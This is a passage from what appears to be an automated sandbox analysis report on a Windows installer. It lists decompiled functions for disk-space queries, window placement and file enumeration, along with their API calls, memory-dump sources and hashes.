SetForegroundWindow.USER32(?,00000000,00455078,?,00000000,004550B4), ref: 00454DAD
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00455078,?,00000000,004550B4), ref: 00455063

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 00454EED

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: a74ec99fcc189ebc520624683ad9e4bb2eb58b416b018cb976e52b281e00494b
Instruction ID: 080d525f1e7a547db07bd28221694b1843d2a8f6175d9f665494781261915881
Opcode Fuzzy Hash: a74ec99fcc189ebc520624683ad9e4bb2eb58b416b018cb976e52b281e00494b
Instruction Fuzzy Hash: C991D234604604EFD715CF59C951F6ABBF5E789704F2184BAF8049B7A2C778AE48CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00453F20 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00453F20(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v5;
				char _v6;
				char _v16;
				long _v20;
				long _v24;
				long _v28;
				long _v32;
				char _v36;
				char _v40;
				signed int _t61;
				signed int _t78;
				intOrPtr* _t86;
				intOrPtr _t99;
				intOrPtr _t105;
				void* _t108;
				void* _t110;
				void* _t112;
				void* _t113;
				intOrPtr _t114;

				_t112 = _t113;
				_t114 = _t113 + 0xffffffdc;
				_v36 = 0;
				_v40 = 0;
				_t108 = __ecx;
				_t110 = __edx;
				_v5 = __eax;
				_push(_t112);
				_push(0x454054);
				_push( *[fs:eax]);
				 *[fs:eax] = _t114;
				_t86 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetDiskFreeSpaceExA");
				if(E00450B68(_v5,  &_v16) != 0) {
					_push(_t112);
					_push(0x454032);
					_push( *[fs:eax]);
					 *[fs:eax] = _t114;
					if(_t86 == 0) {
						E0042C738(_t110,  &_v36);
						E0042C800(_v36,  &_v40);
						E0042C3E0(_v40,  &_v36);
						_t61 = GetDiskFreeSpaceA(E00403750(_v36),  &_v20,  &_v24,  &_v28,  &_v32);
						asm("sbb eax, eax");
						_v6 =  ~( ~_t61);
						if(_v6 != 0) {
							E00430270(_v24 * _v20, _t108, _v28);
							E00430270(_v24 * _v20, _a4, _v32);
						}
					} else {
						E0042C3E0(_t110,  &_v36);
						_t78 =  *_t86(E00403750(_v36), _t108, _a4, 0);
						asm("sbb eax, eax");
						_v6 =  ~( ~_t78);
					}
					_pop(_t99);
					 *[fs:eax] = _t99;
					_push(0x454039);
					return E00450BA4( &_v16);
				} else {
					_v6 = 0;
					_pop(_t105);
					 *[fs:eax] = _t105;
					_push(0x45405b);
					return E00403438( &_v40, 2);
				}
			}

0x00453f21
0x00453f23
0x00453f2b
0x00453f2e
0x00453f31
0x00453f33
0x00453f35
0x00453f3a
0x00453f3b
0x00453f40
0x00453f43
0x00453f5b
0x00453f6a
0x00453f77
0x00453f78
0x00453f7d
0x00453f80
0x00453f85
0x00453fc3
0x00453fce
0x00453fd9
0x00453fe7
0x00453fee
0x00453ff2
0x00453ff9
0x00454006
0x00454017
0x00454017
0x00453f87
0x00453f93
0x00453fa1
0x00453fa5
0x00453fa9
0x00453fa9
0x0045401e
0x00454021
0x00454024
0x00454031
0x00453f6c
0x00453f6c
0x0045403b
0x0045403e
0x00454041
0x00454053
0x00454053

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00454054), ref: 00453F50
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453F56

Strings

kernel32.dll, xrefs: 00453F4B
GetDiskFreeSpaceExA, xrefs: 00453F46

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: def2a47910c73ec5475e7e39db03b949431105e427d401d86ceb168d872aa073
Instruction ID: 64add953981a0e8d9436cf63639eb88b70f6d749e6531aaf4eaba657c134a378
Opcode Fuzzy Hash: def2a47910c73ec5475e7e39db03b949431105e427d401d86ceb168d872aa073
Instruction Fuzzy Hash: EA315171A04249ABCF01EFA5C8829EFBBB8EF49704F504566F900F7292D6785D09CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00417CB4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417CB4(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void _v64;
				int _t51;
				void* _t52;
				int _t58;
				int _t62;

				_t58 = __ecx;
				_t62 = __edx;
				_t52 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x24)) || __ecx !=  *((intOrPtr*)(__eax + 0x28)) || _a8 !=  *((intOrPtr*)(__eax + 0x2c))) {
					L4:
					if(E0041835C(_t52) == 0 || IsIconic( *(_t52 + 0xc0)) != 0) {
						 *(_t52 + 0x24) = _t62;
						 *(_t52 + 0x28) = _t58;
						 *((intOrPtr*)(_t52 + 0x2c)) = _a8;
						 *((intOrPtr*)(_t52 + 0x30)) = _a4;
						if(E0041835C(_t52) != 0) {
							_v48.length = 0x2c;
							GetWindowPlacement( *(_t52 + 0xc0),  &_v48);
							E00414640(_t52,  &_v64);
							memcpy( &(_v48.rcNormalPosition),  &_v64, 4 << 2);
							SetWindowPlacement( *(_t52 + 0xc0),  &_v48);
						}
					} else {
						SetWindowPos( *(_t52 + 0xc0), 0, _t62, _t58, _a8, _a4, 0x14);
					}
					return E00414444(_t52);
				} else {
					_t51 = _a4;
					if(_t51 ==  *((intOrPtr*)(__eax + 0x30))) {
						return _t51;
					}
					goto L4;
				}
			}

0x00417cbd
0x00417cbf
0x00417cc1
0x00417cc6
0x00417ce1
0x00417cea
0x00417d18
0x00417d1b
0x00417d21
0x00417d27
0x00417d33
0x00417d35
0x00417d47
0x00417d51
0x00417d61
0x00417d6e
0x00417d6e
0x00417cfc
0x00417d11
0x00417d11
0x00000000
0x00417cd5
0x00417cd5
0x00417cdb
0x00417d80
0x00417d80
0x00000000
0x00417cdb

APIs

IsIconic.USER32(?), ref: 00417CF3
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D11
GetWindowPlacement.USER32(?,0000002C), ref: 00417D47
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D6E

Strings

,, xrefs: 00417D35

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: b3b6ad1c7124897fa94bf6bfbd5c3f65cf90962955aabae369f45b9c3fff31a0
Instruction ID: 3d1b63ce9ace656f9b2ae4b0f4224411f6c0839012db17d2dc6e7df681baa273
Opcode Fuzzy Hash: b3b6ad1c7124897fa94bf6bfbd5c3f65cf90962955aabae369f45b9c3fff31a0
Instruction Fuzzy Hash: 67213C71A04208ABCF00DF69D8C1BDA77A8AF48354F15456AFD18EF346D778E944CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0045E738 Relevance: 7.6, APIs: 5, Instructions: 129
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0045E738(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v5;
				int _v12;
				void* _v16;
				char _v20;
				struct _WIN32_FIND_DATAA _v340;
				char _v344;
				char _v348;
				void* _t87;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t110;
				void* _t114;
				void* _t116;
				void* _t117;
				intOrPtr _t118;

				_t116 = _t117;
				_t118 = _t117 + 0xfffffea8;
				_push(__esi);
				_push(__edi);
				_v344 = 0;
				_v348 = 0;
				_v20 = 0;
				_t87 = __edx;
				_t114 = __eax;
				_push(_t116);
				_push(0x45e8f5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t118;
				_v12 = SetErrorMode(1);
				_push(_t116);
				_push(0x45e8c8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t118;
				if(E0040358C(_t87) != 3) {
					L4:
					_v5 = 1;
					E0042C3E0(_t87,  &_v344);
					E00403594( &_v344, 0x45e910);
					_v16 = FindFirstFileA(E00403750(_v344),  &_v340);
					if(_v16 == 0xffffffff) {
						_pop(_t101);
						 *[fs:eax] = _t101;
						_push(0x45e8cf);
						return SetErrorMode(_v12);
					} else {
						_push(_t116);
						_push(0x45e8aa);
						_push( *[fs:eax]);
						 *[fs:eax] = _t118;
						do {
							if(E0045D168( &_v340) != 0) {
								E00403574( &_v20, 0x104,  &(_v340.cFileName));
								E0042C3E0(_t87,  &_v348);
								E00403594( &_v348, _v20);
								E0045D2A8(_v348,  &_v344);
								E0045E1C0( *((intOrPtr*)(_a4 - 4)), _v20, _t114, 0, _v344);
							}
						} while (FindNextFileA(_v16,  &_v340) != 0);
						_pop(_t107);
						 *[fs:eax] = _t107;
						_push(0x45e8b1);
						return FindClose(_v16);
					}
				} else {
					if(E0045D598(_t87, __edi, _t114) != 0) {
						E0045D2A8(_t87,  &_v344);
						E0045EB30( *((intOrPtr*)(_a4 - 4)), _v344, _t114);
						goto L4;
					} else {
						_v5 = 0;
						E004031D4();
						_pop(_t110);
						 *[fs:eax] = _t110;
						_push(0x45e8fc);
						E00403438( &_v348, 2);
						return E00403418( &_v20);
					}
				}
			}

0x0045e739
0x0045e73b
0x0045e742
0x0045e743
0x0045e746
0x0045e74c
0x0045e752
0x0045e755
0x0045e757
0x0045e75b
0x0045e75c
0x0045e761
0x0045e764
0x0045e76e
0x0045e773
0x0045e774
0x0045e779
0x0045e77c
0x0045e789
0x0045e7c4
0x0045e7c4
0x0045e7d7
0x0045e7e7
0x0045e7fd
0x0045e804
0x0045e8b3
0x0045e8b6
0x0045e8b9
0x0045e8c7
0x0045e80a
0x0045e80c
0x0045e80d
0x0045e812
0x0045e815
0x0045e818
0x0045e825
0x0045e835
0x0045e842
0x0045e850
0x0045e861
0x0045e87a
0x0045e87a
0x0045e88f
0x0045e895
0x0045e898
0x0045e89b
0x0045e8a9
0x0045e8a9
0x0045e78b
0x0045e794
0x0045e7ac
0x0045e7bf
0x00000000
0x0045e796
0x0045e796
0x0045e79a
0x0045e8d1
0x0045e8d4
0x0045e8d7
0x0045e8e7
0x0045e8f4
0x0045e8f4
0x0045e794

APIs

SetErrorMode.KERNEL32(00000001,00000000,0045E8F5), ref: 0045E769
FindFirstFileA.KERNEL32(00000000,?,00000000,0045E8C8,?,00000001,00000000,0045E8F5), ref: 0045E7F8
FindNextFileA.KERNEL32(000000FF,?,00000000,0045E8AA,?,00000000,?,00000000,0045E8C8,?,00000001,00000000,0045E8F5), ref: 0045E88A
FindClose.KERNEL32(000000FF,0045E8B1,0045E8AA,?,00000000,?,00000000,0045E8C8,?,00000001,00000000,0045E8F5), ref: 0045E8A4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: bb6e390f5bab7d8ec7b3977ce502bfd5de4a19fc4316ba801ef9b792e02e64db
Instruction ID: d8fb66e737258d5a68f6c75f5e0c2ad923488bab397bf3f4a72636b8ae97d7e5
Opcode Fuzzy Hash: bb6e390f5bab7d8ec7b3977ce502bfd5de4a19fc4316ba801ef9b792e02e64db
Instruction Fuzzy Hash: 41414774A006549FDB15EF66CC45A9DB7A8EB88306F4044BAF804A7342D63C9F49CE58

Uniqueness

Uniqueness Score: -1.00%

Function 0045EBB4 Relevance: 7.6, APIs: 5, Instructions: 129
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0045EBB4(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				int _v12;
				void* _v16;
				char _v20;
				struct _WIN32_FIND_DATAA _v340;
				char _v344;
				char _v348;
				void* _t55;
				void* _t90;
				intOrPtr _t102;
				intOrPtr _t105;
				void* _t113;
				void* _t116;
				void* _t118;
				void* _t120;
				void* _t121;
				intOrPtr _t122;

				_t91 = __ecx;
				_t120 = _t121;
				_t122 = _t121 + 0xfffffea8;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v344 = 0;
				_v348 = 0;
				_v8 = 0;
				_v20 = 0;
				_t116 = __ecx;
				_t90 = __edx;
				_t118 = __eax;
				_push(_t120);
				_push(0x45ed9b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t122;
				_t123 = __ecx;
				if(__ecx != 0) {
					E0042C888(__ecx, __ecx,  &_v344);
					_push(_v344);
					E0042C3E0(_t90,  &_v348);
					_pop(_t113);
					if(E0042C584(_v348, _t90, _t91, _t113, _t116, _t118, _t123) == 0) {
						E0042C860(_t116, _t91,  &_v8);
					}
				}
				_v12 = SetErrorMode(1);
				_push(_t120);
				_push(0x45ed66);
				_push( *[fs:eax]);
				 *[fs:eax] = _t122;
				E0042C3E0(_t90,  &_v344);
				E00403594( &_v344, 0x45edb4);
				_v16 = FindFirstFileA(E00403750(_v344),  &_v340);
				if(_v16 == 0xffffffff) {
					__eflags = 0;
					_pop(_t102);
					 *[fs:eax] = _t102;
					_push(0x45ed6d);
					return SetErrorMode(_v12);
				} else {
					_push(_t120);
					_push(0x45ed48);
					_push( *[fs:eax]);
					 *[fs:eax] = _t122;
					do {
						_t55 = E0045D168( &_v340);
						_t127 = _t55;
						if(_t55 != 0) {
							E00403574( &_v20, 0x104,  &(_v340.cFileName));
							if(E0042C584(_v20, _t90, 0x104, _v8, _t116, _t118, _t127) != 0 && E0045E2A8( *((intOrPtr*)(_a4 - 4)), _v20, _t118) == 0) {
								E0042C3E0(_t90,  &_v348);
								E00403594( &_v348, _v20);
								E0045D2A8(_v348,  &_v344);
								E0045E1C0( *((intOrPtr*)(_a4 - 4)), _v20, _t118, 0, _v344);
							}
						}
					} while (FindNextFileA(_v16,  &_v340) != 0);
					_pop(_t105);
					 *[fs:eax] = _t105;
					_push(0x45ed4f);
					return FindClose(_v16);
				}
			}

0x0045ebb4
0x0045ebb5
0x0045ebb7
0x0045ebbd
0x0045ebbe
0x0045ebbf
0x0045ebc2
0x0045ebc8
0x0045ebce
0x0045ebd1
0x0045ebd4
0x0045ebd6
0x0045ebd8
0x0045ebdc
0x0045ebdd
0x0045ebe2
0x0045ebe5
0x0045ebe8
0x0045ebea
0x0045ebf4
0x0045ebff
0x0045ec08
0x0045ec13
0x0045ec1b
0x0045ec22
0x0045ec22
0x0045ec1b
0x0045ec2e
0x0045ec33
0x0045ec34
0x0045ec39
0x0045ec3c
0x0045ec4e
0x0045ec5e
0x0045ec74
0x0045ec7b
0x0045ed4f
0x0045ed51
0x0045ed54
0x0045ed57
0x0045ed65
0x0045ec81
0x0045ec83
0x0045ec84
0x0045ec89
0x0045ec8c
0x0045ec8f
0x0045ec95
0x0045ec9a
0x0045ec9c
0x0045ecac
0x0045ecbe
0x0045ecdc
0x0045ecea
0x0045ecfb
0x0045ed14
0x0045ed14
0x0045ecbe
0x0045ed29
0x0045ed33
0x0045ed36
0x0045ed39
0x0045ed47
0x0045ed47

APIs

SetErrorMode.KERNEL32(00000001,00000000,0045ED9B), ref: 0045EC29
FindFirstFileA.KERNEL32(00000000,?,00000000,0045ED66,?,00000001,00000000,0045ED9B), ref: 0045EC6F
FindNextFileA.KERNEL32(000000FF,?,00000000,0045ED48,?,00000000,?,00000000,0045ED66,?,00000001,00000000,0045ED9B), ref: 0045ED24
FindClose.KERNEL32(000000FF,0045ED4F,0045ED48,?,00000000,?,00000000,0045ED66,?,00000001,00000000,0045ED9B), ref: 0045ED42

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: cf4c4e6715b99620dad07bde3e2590abc365f51d172cbd40c1200472f66a0216
Instruction ID: b52a73cc4bab052d864f830ebb887ebf8f68494115c020dc4efa98c4edff0ce4
Opcode Fuzzy Hash: cf4c4e6715b99620dad07bde3e2590abc365f51d172cbd40c1200472f66a0216
Instruction Fuzzy Hash: 47417435A00619DBCB14EF66CC859DEB7B9EB88305F4045AAFC04E7342D6389F48CE58

Uniqueness

Uniqueness Score: -1.00%

Function 0047A09C Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0047A09C(signed int __eax) {
				signed int _t8;
				intOrPtr _t9;
				intOrPtr _t10;
				void* _t11;
				intOrPtr _t12;
				intOrPtr _t15;
				intOrPtr _t18;
				intOrPtr _t21;
				signed int _t24;
				void* _t25;

				_t8 = __eax;
				_t24 = __eax;
				if( *0x48ff3c != 0) {
					_t9 =  *0x48ff3c; // 0x23415cc
					_t8 = E0041835C(_t9);
					if(_t8 != 0) {
						_t10 =  *0x48ff3c; // 0x23415cc
						if( *((char*)(_t10 + 0xc7)) == 0 ||  *((char*)(_t24 + 0x1b5)) != 0) {
							L5:
							_t11 = 0;
						} else {
							_t21 =  *0x48f628; // 0x22f2410
							if(IsIconic( *(_t21 + 0x20)) == 0) {
								_t11 = 1;
							} else {
								goto L5;
							}
						}
						_t25 = _t11;
						_t12 =  *0x48ff3c; // 0x23415cc
						_t8 = GetWindowLongA(E004181C4(_t12), 0xfffffff0) & 0xffffff00 | (_t14 & 0x10000000) != 0x00000000;
						if(_t25 != _t8) {
							if(_t25 == 0) {
								_t15 =  *0x48ff3c; // 0x23415cc
								return ShowWindow(E004181C4(_t15), 0);
							}
							_t18 =  *0x48ff3c; // 0x23415cc
							return ShowWindow(E004181C4(_t18), 5);
						}
					}
				}
				return _t8;
			}

0x0047a09c
0x0047a09d
0x0047a0a6
0x0047a0ac
0x0047a0b1
0x0047a0b8
0x0047a0ba
0x0047a0c6
0x0047a0e3
0x0047a0e3
0x0047a0d1
0x0047a0d1
0x0047a0e1
0x0047a0e7
0x00000000
0x00000000
0x00000000
0x0047a0e1
0x0047a0e9
0x0047a0ed
0x0047a102
0x0047a107
0x0047a10b
0x0047a123
0x00000000
0x0047a12e
0x0047a10f
0x00000000
0x0047a11a
0x0047a107
0x0047a0b8
0x0047a134

APIs

IsIconic.USER32(?), ref: 0047A0DA
GetWindowLongA.USER32 ref: 0047A0F8
ShowWindow.USER32(00000000,00000005,00000000,000000F0,0048FF3C,00479926,0047995A,00000000,0047997A,?,?,00000001,0048FF3C), ref: 0047A11A
ShowWindow.USER32(00000000,00000000,00000000,000000F0,0048FF3C,00479926,0047995A,00000000,0047997A,?,?,00000001,0048FF3C), ref: 0047A12E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: 9d3f8bd72c0ac8f6c853d50a455381acc7ab73e0a1871fc873d4baa3abb8162d
Instruction ID: 4e17a3d1efbb7516df40a2b8f8c6ce8488852fab1a4da3e2a6e5c0d591289125
Opcode Fuzzy Hash: 9d3f8bd72c0ac8f6c853d50a455381acc7ab73e0a1871fc873d4baa3abb8162d
Instruction Fuzzy Hash: 750171706082406AE700EB79DC85B9F23D49B45348F58887FB644DB2E3CB6D88569B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0045D1B4 Relevance: 4.6, APIs: 3, Instructions: 67
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0045D1B4(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v5;
				void* _v12;
				struct _WIN32_FIND_DATAA _v332;
				char _v336;
				intOrPtr _t47;
				intOrPtr _t48;
				void* _t52;
				void* _t53;
				intOrPtr _t54;

				_t52 = _t53;
				_t54 = _t53 + 0xfffffeb4;
				_v336 = 0;
				_push(_t52);
				_push(0x45d288);
				_push( *[fs:eax]);
				 *[fs:eax] = _t54;
				_v5 = 0;
				E0042C3E0(__eax,  &_v336);
				E00403594( &_v336, 0x45d2a4);
				_v12 = FindFirstFileA(E00403750(_v336),  &_v332);
				if(_v12 == 0xffffffff) {
					_pop(_t47);
					 *[fs:eax] = _t47;
					_push(0x45d28f);
					return E00403418( &_v336);
				} else {
					_push(_t52);
					_push(0x45d268);
					_push( *[fs:eax]);
					 *[fs:eax] = _t54;
					while(E0045D168( &_v332) == 0) {
						if(FindNextFileA(_v12,  &_v332) != 0) {
							continue;
						}
						L5:
						_pop(_t48);
						 *[fs:eax] = _t48;
						_push(0x45d26f);
						return FindClose(_v12);
						goto L7;
					}
					_v5 = 1;
					goto L5;
				}
				L7:
			}

0x0045d1b5
0x0045d1b7
0x0045d1c2
0x0045d1cc
0x0045d1cd
0x0045d1d2
0x0045d1d5
0x0045d1d8
0x0045d1eb
0x0045d1fb
0x0045d211
0x0045d218
0x0045d271
0x0045d274
0x0045d277
0x0045d287
0x0045d21a
0x0045d21c
0x0045d21d
0x0045d222
0x0045d225
0x0045d228
0x0045d24f
0x00000000
0x00000000
0x0045d251
0x0045d253
0x0045d256
0x0045d259
0x0045d267
0x00000000
0x0045d267
0x0045d237
0x00000000
0x0045d237
0x00000000

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0045D288), ref: 0045D20C
FindNextFileA.KERNEL32(000000FF,?,00000000,0045D268,?,00000000,?,00000000,0045D288), ref: 0045D248
FindClose.KERNEL32(000000FF,0045D26F,0045D268,?,00000000,?,00000000,0045D288), ref: 0045D262

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 2a5e6c5819381c2640d73e5be8df5c390c0ec63f76ab2187818f2d872d0cb294
Instruction ID: 1c57fcfc654a44449ebf75676d758ca9e7f6f0065839a18182e6b42ba08a7e11
Opcode Fuzzy Hash: 2a5e6c5819381c2640d73e5be8df5c390c0ec63f76ab2187818f2d872d0cb294
Instruction Fuzzy Hash: FA21C6719047085EDB21EB658C41ADEB7ACDF49305F5084F7FC08E36A2E638DE48CA59

Uniqueness

Uniqueness Score: -1.00%

Function 004241C0 Relevance: 4.5, APIs: 3, Instructions: 32
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004241C0(void* __eax) {
				struct HWND__* _t10;
				void* _t21;

				_t21 = __eax;
				_t10 = IsIconic( *(__eax + 0x20));
				_t25 = _t10;
				if(_t10 != 0) {
					SetActiveWindow( *(_t21 + 0x20));
					E00423630( *(_t21 + 0x20), 9, _t25);
					E00423AF8(_t21);
					_t10 =  *0x48f62c; // 0x22f0660
					_t24 =  *((intOrPtr*)(_t10 + 0x3c));
					if( *((intOrPtr*)(_t10 + 0x3c)) != 0) {
						_t10 = SetFocus(E004181C4(_t24));
					}
					if( *((short*)(_t21 + 0xd6)) != 0) {
						return  *((intOrPtr*)(_t21 + 0xd4))();
					}
				}
				return _t10;
			}

0x004241c2
0x004241c8
0x004241cd
0x004241cf
0x004241d5
0x004241e2
0x004241e9
0x004241ee
0x004241f3
0x004241f8
0x00424202
0x00424202
0x0042420f
0x00000000
0x00424219
0x0042420f
0x00424221

APIs

IsIconic.USER32(?), ref: 004241C8
SetActiveWindow.USER32(?,?,?,004669FF), ref: 004241D5

Part of subcall function 00423630: ShowWindow.USER32(00410634,00000009,?,00000000,0041ED88,0042391E,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042364B

Part of subcall function 00423AF8: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,022F2410,004241EE,?,?,?,004669FF), ref: 00423B33

SetFocus.USER32(00000000,?,?,?,004669FF), ref: 00424202

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: 3d96d030b52f7cbfc51dd5dfa002c3b70a1ae896cb9c7bf81eab355642eebeb8
Instruction ID: c55311e4565d0aa9d211a7a1e417d737ec1cb2c42a75af356ef873c1c87e6d71
Opcode Fuzzy Hash: 3d96d030b52f7cbfc51dd5dfa002c3b70a1ae896cb9c7bf81eab355642eebeb8
Instruction Fuzzy Hash: ECF0307170012097CB00FFEAD8C5A9622A8AB48344B5500BBBD09EF357C67CDC058764

Uniqueness

Uniqueness Score: -1.00%

Function 00417CB2 Relevance: 3.0, APIs: 2, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417CB2(void* __eax, int __ecx, int __edx, int _a4, int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void _v64;
				int _t34;
				void* _t52;
				int _t60;
				int _t66;

				_t60 = __ecx;
				_t66 = __edx;
				_t52 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x24)) || __ecx !=  *((intOrPtr*)(__eax + 0x28)) || _a8 !=  *((intOrPtr*)(__eax + 0x2c))) {
					L5:
					if(E0041835C(_t52) == 0 || IsIconic( *(_t52 + 0xc0)) != 0) {
						 *(_t52 + 0x24) = _t66;
						 *(_t52 + 0x28) = _t60;
						 *((intOrPtr*)(_t52 + 0x2c)) = _a8;
						 *((intOrPtr*)(_t52 + 0x30)) = _a4;
						if(E0041835C(_t52) != 0) {
							_v48.length = 0x2c;
							GetWindowPlacement( *(_t52 + 0xc0),  &_v48);
							E00414640(_t52,  &_v64);
							memcpy( &(_v48.rcNormalPosition),  &_v64, 4 << 2);
							SetWindowPlacement( *(_t52 + 0xc0),  &_v48);
						}
					} else {
						SetWindowPos( *(_t52 + 0xc0), 0, _t66, _t60, _a8, _a4, 0x14);
					}
					_t34 = E00414444(_t52);
				} else {
					_t34 = _a4;
					if(_t34 !=  *((intOrPtr*)(__eax + 0x30))) {
						goto L5;
					}
				}
				return _t34;
			}

0x00417cbd
0x00417cbf
0x00417cc1
0x00417cc6
0x00417ce1
0x00417cea
0x00417d18
0x00417d1b
0x00417d21
0x00417d27
0x00417d33
0x00417d35
0x00417d47
